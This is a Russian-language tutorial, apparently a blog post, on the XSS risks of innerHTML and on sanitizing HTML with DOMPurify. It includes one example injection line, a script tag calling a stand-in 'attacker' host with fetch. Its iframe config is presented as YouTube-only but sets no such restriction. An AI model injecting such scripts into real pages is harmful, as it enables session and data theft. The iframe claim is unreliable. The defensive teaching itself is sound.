Почему innerHTML может быть опасен
Что не так с прямой вставкой HTML
Когда мы пишем на JavaScript, очень соблазнительно просто взять строку с разметкой и засунуть её в innerHTML. Визуально всё работает, пользователь доволен, задача закрыта. Проблема в том, что вместе с версткой вы легко можете вставить вредоносный скрипт, и тогда никакой безопасный innerHTML javascript защита от XSS уже не будет работать, потому что вы сами открыли дверь. Любой ввод пользователя, данные из API, комментарии, чаты, даже Markdown после конвертации в HTML — всё это потенциальный источник атакующего кода, который браузер послушно выполнит.
Как проявляется XSS на практике

В реальности XSS редко выглядит как «красный череп на экране». Чаще всего это незаметная подмена: злоумышленник крадет токены, куки, перехватывает ввод или тихо подменяет ссылки. Пользователь может даже не догадываться, что его сессия уже скомпрометирована. Если вы просто берете textArea.value и вставляете в innerHTML, рано или поздно получите скрипт вида <script>fetch('https://attacker')</script>. И браузеру всё равно, откуда пришел HTML — для него это валидная инструкция. Поэтому без дополнительной фильтрации каждая такая вставка становится потенциальной точкой взлома приложения.
DOMPurify: что это и зачем он нужен
Краткое знакомство с библиотекой
DOMPurify — это небольшая, но очень продуманная библиотека для защиты от XSS в javascript DOMPurify, которая встраивается прямо в браузер и умеет чистить HTML-строки от опасного содержимого. Она анализирует DOM-дерево, выкидывает скрипты, опасные атрибуты, инлайновые обработчики событий и другие потенциальные векторы атаки. При этом по умолчанию сохраняется максимально возможное количество безопасной разметки. Вам не нужно вручную перечислять сотню запрещенных тегов, разработчики DOMPurify уже проделали эту работу, учитывая специфику разных браузеров и тонкие обходные техники атакующих.
Когда без DOMPurify не обойтись
Если приложение хотя бы в одном месте показывает пользователю HTML, сформированный из внешних данных, вам почти наверняка нужен подобный фильтр. Формы обратной связи, WYSIWYG-редакторы, импорт заметок, CMS, Markdown-просмотрщики — везде там есть риск, что какая-то строка пройдет в innerHTML. Даже если вы «контролируете источник», практика показывает, что достаточно одной интеграции с новым сервисом, и цепочка доверия ломается. Гораздо надежнее завести единое правило: любой HTML перед показом проходит через DOMPurify, без исключений, особенно в крупных фронтенд-проектах.
Подключаем DOMPurify и готовим проект
Шаг 1. Установка и базовая интеграция
Самый простой путь — подключить DOMPurify из npm, если у вас есть сборка:
```bash
npm install dompurify
```
Далее в коде:
```js
import DOMPurify from 'dompurify';
```
В классическом сценарии без сборщика можно взять CDN:
```html
```
После этого в глобальной области появится объект DOMPurify. На этом этапе библиотека уже готова к работе, достаточно передать ей строку HTML, и она вернет очищенную версию. Подключение желательно делать как можно ближе к месту использования, но до того, как вы впервые начнете рендерить пользовательский HTML.
Шаг 2. DOMPurify пример использования для очистки html
Базовый сценарий выглядит очень просто:
```js
const dirty = 'Привет!';
const clean = DOMPurify.sanitize(dirty);
element.innerHTML = clean;
```
В этом DOMPurify пример использования для очистки html показывает ключевую идею: вы никогда не работаете с «грязной» строкой напрямую. Сначала пропускаете её через sanitize, и только потом передаете в DOM. Лучше всего обернуть этот вызов в утилиту, например safeInnerHTML(element, html), чтобы не забывать вызывать sanitize в разных местах кода и иметь единый контроль над конфигурацией очистки.
Практика: как обезопасить вставку innerHTML
Шаг 3. Оборачиваем innerHTML в безопасный интерфейс
Хороший практический прием — полностью запретить прямой доступ к innerHTML в кодовой базе и заменить его на небольшую функцию-обертку. Например:
```js
function setSafeHTML(node, html) {
node.innerHTML = DOMPurify.sanitize(html);
}
```
Теперь вместо node.innerHTML = html везде используется setSafeHTML. Так вы технически решаете задачу как обезопасить innerHTML и очистить html в браузере, а также получаете точку расширения: можно добавить логирование, разные пресеты настроек или спецобработку для доверенных источников, не изменяя каждый вызов по проекту.
Шаг 4. Настраиваем допустимые теги и атрибуты
По умолчанию DOMPurify ведет себя достаточно консервативно, но иногда нужны более тонкие настройки. Например, вы хотите разрешить iframe только с YouTube:
```js
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'a', 'iframe'],
ALLOWED_ATTR: ['href', 'src', 'width', 'height', 'allowfullscreen']
});
```
Такие опции лучше хранить рядом с бизнес-логикой: один пресет для комментариев, другой для административной панели, третий для внутренней документации. Важно тестировать каждую конфигурацию на реальных примерах разметки, иначе легко случайно отрезать нужные элементы или, наоборот, открыть лишние.
Распространённые ошибки и подводные камни
Опасная уверенность в «доверенных» источниках
Одна из самых частых ошибок — считать данные от «наших» сервисов безопасными и пропускать их мимо фильтра. Любой API может быть скомпрометирован, проксируем, либо его ответ может быть сформирован с учетом ввода пользователя. Если хотя бы в одном месте вы делаете исключение и не пропускаете HTML через DOMPurify, именно оно со временем станет точкой атаки. Гораздо проще единообразно обрабатывать все источники, чем потом вспоминать, где вы сознательно сделали исключение ради экономии пары строк кода.
Сопряжение с фреймворками и виртуальным DOM
Во Vue, React и других фреймворках безопасный режим рендеринга по умолчанию уже экранирует текст, но как только вы используете v-html или dangerouslySetInnerHTML, вся защита рушится. Правильный путь — передавать туда уже очищенный DOMPurify.sanitize(html), иначе вы снова возвращаетесь к исходной проблеме. Важно помнить, что фреймворк не обязан заниматься XSS-фильтрацией, а лишь заботится о корректной вставке. Логику очистки стоит держать в отдельном слое, чтобы ее можно было протестировать и переиспользовать за пределами конкретного UI-стека.
Сравнение DOMPurify с другими подходами
Почему не стоит писать свой фильтр
Иногда возникает соблазн сделать «маленькую функцию», которая просто вырежет теги script или on*‑атрибуты регуляркой. На практике это обречено: спецификация HTML сложнее, чем кажется, а атакующие десятилетиями придумывают способы обойти наивные проверки. У DOMPurify огромная база тестов, учитывающая экзотические кейсы, странные кодировки, особенности парсеров браузеров. Самостоятельно достичь сопоставимого уровня качества практически нереально, а любая ошибка сразу превращается в уязвимость, обнаружить которую без специализированного опыта очень сложно.
sanitize html javascript сравнение DOMPurify и других библиотек
Если делать sanitize html javascript сравнение DOMPurify и других библиотек, основное различие будет в глубине проработки краевых случаев и актуальности поддержки. Есть легкие решения, работающие по белому списку тегов, но они часто слабо покрывают специфические XSS-трюки с SVG, MathML, событиями на нестандартных атрибутах. DOMPurify активно развивается, имеет поддержку SSR, режимы для разных сред доверия и хорошо документированные опции. Для большинства браузерных приложений этого достаточно, чтобы не городить собственный велосипедом и сосредоточиться на бизнес-логике, а не на бесконечной гонке с эксплойтами.
Практические советы и финальная проверка безопасности
Дополнительные уровни защиты помимо DOMPurify
Даже если DOMPurify настроен идеально, не стоит игнорировать другие уровни защиты. Корректные HTTP‑заголовки Content-Security-Policy сильно усложняют эксплуатацию XSS-багов, запрещая выполнение инлайновых скриптов и ограничивая источники ресурсов. Полезно комбинировать фильтрацию на фронтенде с валидацией на бэкенде: сервер не должен хранить откровенно вредоносный контент, иначе любое забытое место без очистки мгновенно станет уязвимым. В связке эти меры дают куда более устойчивую оборону, чем ставка на одну только клиентскую библиотеку.
Итог: как обезопасить innerHTML в реальном проекте
Чтобы построить по‑настоящему безопасный innerHTML javascript защита от XSS должна восприниматься как обязательный элемент архитектуры, а не навесная опция. На практике это означает: не использовать прямой innerHTML, а всегда проходить через DOMPurify, хранить настройки очистки централизованно, избегать самописных фильтров и регулярно включать тестирование XSS‑сценариев в QA‑процессы. Тогда DOMPurify становится не просто «еще одной библиотекой», а базовым строительным блоком фронтенда, который постоянно отсекает вредоносный HTML, пока вы спокойно развиваете функциональность и не боитесь, что любой пользовательский ввод превратится в потенциальный эксплойт.



